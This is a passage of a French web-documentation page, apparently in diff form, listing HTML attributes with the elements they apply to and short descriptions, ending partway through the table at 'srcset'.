+<p>Chaque élément HTML peut <a href="/fr/Apprendre/HTML/Balises_HTML">avoir un ou plusieurs attributs</a>. Ces attributs sont des valeurs supplémentaires qui permettent de configurer les éléments ou d'adapter leur comportement.</p>
+
+<h2 id="Liste_des_attributs">Liste des attributs</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom de l'attribut</th>
+   <th>Éléments auxquels il s'applique</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{HTMLElement("form")}}, {{HTMLElement("input")}}</td>
+   <td>La liste des types acceptés par le serveur. Généralement, il s'agit de types de fichier.</td>
+  </tr>
+  <tr>
+   <td><code>accept-charset</code></td>
+   <td>{{HTMLElement("form")}}</td>
+   <td>La liste des jeux de caractères pris en charge.</td>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut permet de définir un raccourci clavier pour activer un élément ou lui passer le focus.</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{HTMLElement("form")}}</td>
+   <td>L'URI d'un programme qui traite les informations envoyées par le formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>align</code></td>
+   <td>{{HTMLElement("applet")}}, {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}} , {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}</td>
+   <td>Cet attribut définit l'alignement horizontal de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>allow</code></td>
+   <td>{{HTMLElement("iframe")}}</td>
+   <td>Cet attribut définit les règles des fonctionnalités pour cette <em>iframe</em>.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{HTMLElement("applet")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}</td>
+   <td>Un texte alternatif à afficher lorsque l'élément ne peut pas être affiché.</td>
+  </tr>
+  <tr>
+   <td><code>async</code></td>
+   <td>{{HTMLElement("script")}}</td>
+   <td>Cet attribut indique que le script devrait être exécuté de façon asynchrone.</td>
+  </tr>
+  <tr>
+   <td><code>autocapitalize</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels">Attribut universel</a></td>
+   <td>Cet attribut contrôle la façon dont un champ texte est saisi en majuscules de façon automatique.</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>
+    <p>{{HTMLElement("form")}}, {{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}</p>
+   </td>
+   <td>Cet attribut indique que ces contrôles ou que ce formulaire peuvent être remplis automatiquement par le navigateur.</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut indique que l'élément doit recevoir le focus automatiquement une fois que la page est chargée.</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut indique que l'élément audio ou vidéo doit être lancé dès que possible.</td>
+  </tr>
+  <tr>
+   <td><code>background</code></td>
+   <td>{{HTMLElement("body")}}, {{HTMLElement("table")}}, {{HTMLElement("td")}}, {{HTMLElement("th")}}</td>
+   <td>
+    <p>Définit l'URL vers un fichier qui est une image.</p>
+
+    <p>Note : Bien que les navigateurs et les clients <em>emails</em> prennent en charge cet attribut, cet attribut est obsolète. On utilisera plutôt la propriété {{cssxref("background-image")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code></td>
+   <td>{{HTMLElement("body")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("marquee")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("td")}}, {{HTMLElement("th")}}, {{HTMLElement("tr")}}</td>
+   <td>
+    <p>Cet attribut indique la couleur d'arrière-plan pour l'élément.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("background-color")}}.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>border</code></td>
+   <td>{{HTMLElement("img")}}, {{HTMLElement("object")}}, {{HTMLElement("table")}}</td>
+   <td>
+    <p>Cet attribut indique la largeur de la bordure.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("border")}}.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>buffered</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut contient la valeur de l'intervalle de temps d'ores et déjà mis en mémoire tampon pour le média de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>challenge</code></td>
+   <td>{{HTMLElement("keygen")}}</td>
+   <td>Une chaîne de challenge qui est envoyée avec la clef publique.</td>
+  </tr>
+  <tr>
+   <td><code>charset</code></td>
+   <td>{{HTMLElement("meta")}}, {{HTMLElement("script")}}</td>
+   <td>Cet attribut déclare l'encodage de caractères utilisé pour la page ou le script.</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{HTMLElement("command")}}, {{HTMLElement("input")}}</td>
+   <td>Cet attribut indique si l'élément doit être vérifié au chargement de la page.</td>
+  </tr>
+  <tr>
+   <td><code>cite</code></td>
+   <td>{{HTMLElement("blockquote")}}, {{HTMLElement("del")}}, {{HTMLElement("ins")}}, {{HTMLElement("q")}}</td>
+   <td>Cet attribut est une URI qui pointe vers la source de la citation ou de la modification.</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut permet de définir la ou les classes auxquelles appartient un élément afin de le manipuler en script ou de le mettre en forme avec CSS.</td>
+  </tr>
+  <tr>
+   <td><code>code</code></td>
+   <td>{{HTMLElement("applet")}}</td>
+   <td>Cet attribut définit l'URL du fichier de classe qui doit être utilisé pour le chargement et l'exécution de l'applet.</td>
+  </tr>
+  <tr>
+   <td><code>codebase</code></td>
+   <td>{{HTMLElement("applet")}}</td>
+   <td>Cet attribut fournit une URL absolue ou relative du dossier contenant les fichiers <code>.class</code> de l'applet.</td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td>{{HTMLElement("basefont")}}, {{HTMLElement("font")}}, {{HTMLElement("hr")}}</td>
+   <td>
+    <p>Cet attribut définit la couleur du texte grâce à un nom de couleur ou grâce à un code hexadécimal dans le format #RRGGBB.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Cet attribut est un attribut historique. Veuillez utiliser la propriété CSS standard {{cssxref("color")}}.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cols</code></td>
+   <td>{{HTMLElement("textarea")}}</td>
+   <td>Cet attribut définit le nombre de colonnes pour le texte contenu dans un<code> textarea</code>.</td>
+  </tr>
+  <tr>
+   <td><code>colspan</code></td>
+   <td>{{HTMLElement("td")}}, {{HTMLElement("th")}}</td>
+   <td>Cet attribut définit le nombre de colonnes sur lequel une cellule doit s'étendre.</td>
+  </tr>
+  <tr>
+   <td><code>content</code></td>
+   <td>{{HTMLElement("meta")}}</td>
+   <td>Une valeur associée avec <code>http-equiv</code> ou <code>name</code> selon le contexte.</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut indique si le contenu de l'élément peut être édité.</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut fait référence à l'identifiant d'un élément {{HTMLElement("menu")}} qui sera utilisé comme menu contextuel pour l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>controls</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut indique si le navigateur doit afficher les contrôles de lecture du média pour l'utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>coords</code></td>
+   <td>{{HTMLElement("area")}}</td>
+   <td>Un ensemble de valeurs qui définit les coordonnées de la zone d'intérêt.</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut gère les requêtes de différentes origines.</td>
+  </tr>
+  <tr>
+   <td><code>csp</code> {{experimental_inline}}</td>
+   <td>{{HTMLElement("iframe")}}</td>
+   <td>Cet attribut définit la politique de sécurité de contenu que le document intégré doit respecter.</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{HTMLElement("object")}}</td>
+   <td>Cet attribut définit l'URL de la ressource.</td>
+  </tr>
+  <tr>
+   <td><code>data-*</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Grâce aux attributs de donnée, on peut associer des attributs personnalisés afin de transporter des informations spécifiques.</td>
+  </tr>
+  <tr>
+   <td><code>datetime</code></td>
+   <td>{{HTMLElement("del")}}, {{HTMLElement("ins")}}, {{HTMLElement("time")}}</td>
+   <td>Cet attribut indique la date et l'heure associées à l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>decoding</code></td>
+   <td>{{HTMLElement("img")}}</td>
+   <td>Cet attribut indique la méthode préférée pour décoder l'image.</td>
+  </tr>
+  <tr>
+   <td><code>default</code></td>
+   <td>{{HTMLElement("track")}}</td>
+   <td>Cet attribut indique que la piste devrait être activée sauf si les préférences de l'utilisateur indique un autre choix.</td>
+  </tr>
+  <tr>
+   <td><code>defer</code></td>
+   <td>{{HTMLElement("script")}}</td>
+   <td>Cet attribut indique que le script doit être exécuté une fois que la page a été analysée.</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut définit la direction du texte (gauche à droite ou droite à gauche).</td>
+  </tr>
+  <tr>
+   <td><code>dirname</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("textarea")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{HTMLElement("button")}}, {{HTMLElement("command")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut indique si l'utilisateur peut interagir avec l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>Cet attribut indique si l'hyperlien est utilisé afin de télécharger une ressource.</td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut indique si l'élément peut être déplacé/glissé.</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut indique si l'élément peut recevoir du contenu suite à un glisser/déposer.</td>
+  </tr>
+  <tr>
+   <td><code>enctype</code></td>
+   <td>{{HTMLElement("form")}}</td>
+   <td>Cet attribut définit le type de contenu des données de formulaire envoyées lorsque la méthode utilisée est <code>POST</code>.</td>
+  </tr>
+  <tr>
+   <td><code>enterkeyhint</code> {{experimental_inline}}</td>
+   <td>{{HTMLElement("textarea")}}, <code>contenteditable</code></td>
+   <td>Cet attribut indique le libellé ou l'icône à afficher sur la touche entrée des clavier virtuels. Cet attribut peut être utilisé sur les contrôles de formulaires ou sur les éléments qui sont éditables (par exemple avec l'attribut <code>contenteditable</code>).</td>
+  </tr>
+  <tr>
+   <td><code>for</code></td>
+   <td>{{HTMLElement("label")}}, {{HTMLElement("output")}}</td>
+   <td>Cet attribut décrit l'élément auquel se rapporte l'élément courant.</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td>{{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("meter")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut indique le formulaire auquel l'élément se rapporte.</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("button")}}</td>
+   <td>Cet attribut est l'URI du programme qui traite les données pour ces champs du formulaire. Il prend le pas sur l'attribut <code>action</code> défini pour {{HTMLElement("form")}}.</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("button")}}</td>
+   <td>Si le bouton ou le champ sert à l'envoi (<code>type="submit"</code>), cet attribut indique l'encodage utilisé pour l'envoi des données. Si cet attribut est indiqué, il surcharge l'attribut <code>enctype</code> du formulaire auquel est rattaché le bouton/champ.</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("button")}}</td>
+   <td>Si le bouton ou le champ sert à l'envoi (<code>type="submit"</code>), cet attribut indique la méthode HTTP pour envoyer les données (<code>GET</code>, <code>POST</code>, etc.). Si cet attribut est indiqué, il surcharge l'attribut <code>method</code> du formulaire auquel est rattaché le bouton/champ.</td>
+  </tr>
+  <tr>
+   <td><code>formnovalidate</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("button")}}</td>
+   <td>Si le bouton ou le champ sert à l'envoi (<code>type="submit"</code>), cet attribut booléen indique que le formulaire ne doit pas être validé à l'envoi. Si cet attribut est indiqué, il surcharge l'attribut <code>novalidate</code> du formulaire auquel est rattaché le bouton/champ.</td>
+  </tr>
+  <tr>
+   <td><code>formtarget</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("button")}}</td>
+   <td>Si le bouton ou le champ sert à l'envoi (<code>type="submit"</code>), cet attribut indique le contexte de navigation (onglet, fenêtre ou <em>iframe</em>) dans lequel afficher la réponse après l'envoi du formulaire. Si cet attribut est indiqué, il surcharge l'attribut <code>target</code> du formulaire auquel est rattaché le bouton/champ.</td>
+  </tr>
+  <tr>
+   <td><code>headers</code></td>
+   <td>{{HTMLElement("td")}}, {{HTMLElement("th")}}</td>
+   <td>Les identifiants des éléments <code>&lt;th&gt;</code> qui s'appliquent à cet élément.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}}</td>
+   <td>
+    <p>Pour ces éléments, cet attribut définit la hauteur occupée par l'élément. Pour les autres éléments, on utilisera {{cssxref("height")}} property.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Pour certains éléments comme {{HTMLElement("div")}},cet attribut est un reliquat et ne devrait plus être utilisé. C'est la propriété CSS {{cssxref("height")}} qui est la méthode standard pour définir la hauteur d'un élément.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>hidden</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut empêche le rendu d'un élément sur une page tout en conservant les éléments fils actifs.</td>
+  </tr>
+  <tr>
+   <td><code>high</code></td>
+   <td>{{HTMLElement("meter")}}</td>
+   <td>Cet attribut indique la borne inférieure de l'intervalle haut.</td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}</td>
+   <td>L'URL de la ressource liée.</td>
+  </tr>
+  <tr>
+   <td><code>hreflang</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>Cet attribut indique la langue utilisé pour la ressource liée.</td>
+  </tr>
+  <tr>
+   <td><code>http-equiv</code></td>
+   <td>{{HTMLElement("meta")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{HTMLElement("command")}}</td>
+   <td>Cet attribut indique une image qui représente la commande.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut permet d'identifier un élément d'un document de façon unique. Il est généralement utilisé pour manipuler l'élément avec des scripts ou pour le mettre en forme avec CSS.</td>
+  </tr>
+  <tr>
+   <td><code>importance</code> {{experimental_inline}}</td>
+   <td>{{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}</td>
+   <td>Cet attribut indique la priorité relative pour la récupération (<em>fetch</em>) des ressources.</td>
+  </tr>
+  <tr>
+   <td><code>integrity</code></td>
+   <td>{{HTMLElement("link")}}, {{HTMLElement("script")}}</td>
+   <td>
+    <p>Une fonctionnalité relative à la sécurité qui permet aux navigateurs de vérifier les fichiers qu'ils récupèrent.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>intrinsicsize</code> {{experimental_inline}}</td>
+   <td>{{HTMLElement("img")}}</td>
+   <td>Cet attribut indique au navigateur qu'il faut ignorer la taille intrinsèque de l'image et qu'il faut utiliser la taille indiquée avec les attributs.</td>
+  </tr>
+  <tr>
+   <td><code>inputmode</code></td>
+   <td>{{HTMLElement("textarea")}}, <code>contenteditable</code></td>
+   <td>Cet attribut fournit une indication sur le type de donnée qui pourrait être saisi par l'utilisateur lors de l'édition du formulaire ou de l'élément. Cet attribut peut être utilisé sur les contrôles de formulaires ou sur les éléments qui sont éditables (par exemple avec l'attribut <code>contenteditable</code>).</td>
+  </tr>
+  <tr>
+   <td><code>ismap</code></td>
+   <td>{{HTMLElement("img")}}</td>
+   <td>Cet attribut indique que l'image contribue à une mosaïque d'images interactive côté serveur.</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>keytype</code></td>
+   <td>{{HTMLElement("keygen")}}</td>
+   <td>Cet attribut définit le type de clé qui est généré.</td>
+  </tr>
+  <tr>
+   <td><code>kind</code></td>
+   <td>{{HTMLElement("track")}}</td>
+   <td>Cet attribut définit le type de piste textuelle.</td>
+  </tr>
+  <tr>
+   <td><code>label</code></td>
+   <td>{{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("track")}}</td>
+   <td>Cet attribut définit un titre, lisible par un utilisateur, pour l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut définit la langue utilisée dans l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>language</code></td>
+   <td>{{HTMLElement("script")}}</td>
+   <td>Cet attribut définit le langage de script utilisé dans l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>loading</code> {{experimental_inline}}</td>
+   <td>{{HTMLElement("img")}}, {{HTMLElement("iframe")}}</td>
+   <td>Cet attribut indique que l'élément doit être chargé à la demande.</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{HTMLElement("input")}}</td>
+   <td>Cet attribut constitue une liste d'options prédéfinie qui est suggérée à l'utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>loop</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("bgsound")}}, {{HTMLElement("marquee")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut indique si le média courant doit recommencer au début une fois que sa lecture est terminée.</td>
+  </tr>
+  <tr>
+   <td><code>low</code></td>
+   <td>{{HTMLElement("meter")}}</td>
+   <td>Cet attribut indique la borne supérieure de l'intervalle bas.</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{HTMLElement("html")}}</td>
+   <td>
+    <p>Cet attribut définit l'URL du manifeste du document pour la gestion du cache.</p>
+
+    <p>Cet attribut est obsolète, on utilisera plutôt <code>&lt;link rel="manifest"&gt;</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("meter")}}, {{HTMLElement("progress")}}</td>
+   <td>Cet attribut indique la valeur maximale autorisée.</td>
+  </tr>
+  <tr>
+   <td><code>maxlength</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut définit le nombre maximal de caractères autorisé dans l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>minlength</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut définit le nombre minimal de caractères qui doivent être saisis dans l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>media</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("source")}}, {{HTMLElement("style")}}</td>
+   <td>Cet attribut est indication à propos du type de média pour la ressource liée.</td>
+  </tr>
+  <tr>
+   <td><code>method</code></td>
+   <td>{{HTMLElement("form")}}</td>
+   <td>Cet attribut définit la méthode <a href="/fr/docs/HTTP">HTTP</a> à utiliser pour l'envoi des données du formulaire (<code>GET</code> par défaut ou <code>POST</code>)</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("meter")}}</td>
+   <td>Cet attribut indique la valeur minimale autorisée.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("select")}}</td>
+   <td>Cet attribut indique si plusieurs valeurs peuvent être saisies pour des entrées de type <code>email</code> ou <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td><code>muted</code></td>
+   <td>{{HTMLElement("audio")}},{{HTMLElement("video")}}</td>
+   <td>Cet attribut indique si le son de la vidéo doit être coupé lorsque la page est chargée initialement.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{HTMLElement("button")}}, {{HTMLElement("form")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}, {{HTMLElement("map")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}</td>
+   <td>Le nom de l'élément qui peut être utilisé par le serveur pour identifier le champ d'un formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code></td>
+   <td>{{HTMLElement("form")}}</td>
+   <td>Cet attribut indique que les données du formulaire ne doivent pas être validées lors de l'envoi.</td>
+  </tr>
+  <tr>
+   <td><code>open</code></td>
+   <td>{{HTMLElement("details")}}</td>
+   <td>Cet attribut indique si les détails seront affichés lors du chargement de la page.</td>
+  </tr>
+  <tr>
+   <td><code>optimum</code></td>
+   <td>{{HTMLElement("meter")}}</td>
+   <td>Cet attribut indique la valeur numérique optimale.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{HTMLElement("input")}}</td>
+   <td>Cet attribut définit une expression rationnelle contre laquelle valider la valeur de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>ping</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut fournit une indication à l'utilisateur sur ce qu'il peut saisir dans le champ.</td>
+  </tr>
+  <tr>
+   <td><code>poster</code></td>
+   <td>{{HTMLElement("video")}}</td>
+   <td>Cet attribut est une URL qui indique l'image à afficher tant que l'utilisateur n'a pas lancé la vidéo ou déplacé le curseur.</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut indique si toute ou partie, voire aucune partie de la ressource doit être téléchargée en avance.</td>
+  </tr>
+  <tr>
+   <td><code>radiogroup</code></td>
+   <td>{{HTMLElement("command")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut indique si l'élément peut être édité.</td>
+  </tr>
+  <tr>
+   <td><code>referrerpolicy</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}</td>
+   <td>Définit le référent (<em>referrer</em>) envoyé lors de la récupération de la ressource.</td>
+  </tr>
+  <tr>
+   <td><code>rel</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td>Cet attribut définit la relation entre l'objet cible et l'objet du lien.</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}</td>
+   <td>Cet attribut indique si l'élément doit obligatoirement être renseigné dans le formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>reversed</code></td>
+   <td>{{HTMLElement("ol")}}</td>
+   <td>Cet attribut indique si la liste doit être affichée dans un ordre décroissant plutôt que dans un ordre croissant.</td>
+  </tr>
+  <tr>
+   <td><code>rows</code></td>
+   <td>{{HTMLElement("textarea")}}</td>
+   <td>Cet attribut définit le nombre de lignes pour la zone de texte.</td>
+  </tr>
+  <tr>
+   <td><code>rowspan</code></td>
+   <td>{{HTMLElement("td")}}, {{HTMLElement("th")}}</td>
+   <td>Cet attribut définit le nombre de lignes sur lesquelles une cellule doit s'étendre.</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{HTMLElement("iframe")}}</td>
+   <td>Empêche un élément chargé dans une <em>iframe</em> d'utiliser certaines fonctionnalités (envoyer des formulaires ou ouvrir de nouvelles fenêtres par exemples).</td>
+  </tr>
+  <tr>
+   <td><code>scope</code></td>
+   <td>{{HTMLElement("th")}}</td>
+   <td>Définit les cellules sur lesquelles porte la cellule d'en-tête.</td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>{{HTMLElement("style")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>selected</code></td>
+   <td>{{HTMLElement("option")}}</td>
+   <td>Cet attribut définit la valeur qui sera sélectionnée au chargement de la page.</td>
+  </tr>
+  <tr>
+   <td><code>shape</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td>{{HTMLElement("input")}}, {{HTMLElement("select")}}</td>
+   <td>Cet attribut définit la largeur de l'élément en pixels, si l'attribut <code>type</code> de l'élément vaut <code>text</code> ou <code>password</code>, cela correspond au nombre de caractères du champ.</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>{{HTMLElement("link")}}, {{HTMLElement("img")}}, {{HTMLElement("source")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>slot</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut affecte un créneau pour un élément dans le <em>shadow DOM</em>.</td>
+  </tr>
+  <tr>
+   <td><code>span</code></td>
+   <td>{{HTMLElement("col")}}, {{HTMLElement("colgroup")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>spellcheck</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut indique si la vérification orthographique est activée pour l'élément courant.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{HTMLElement("audio")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("script")}}, {{HTMLElement("source")}}, {{HTMLElement("track")}}, {{HTMLElement("video")}}</td>
+   <td>Cet attribut indique l'URL du contenu embarqué.</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>{{HTMLElement("iframe")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>srclang</code></td>
+   <td>{{HTMLElement("track")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
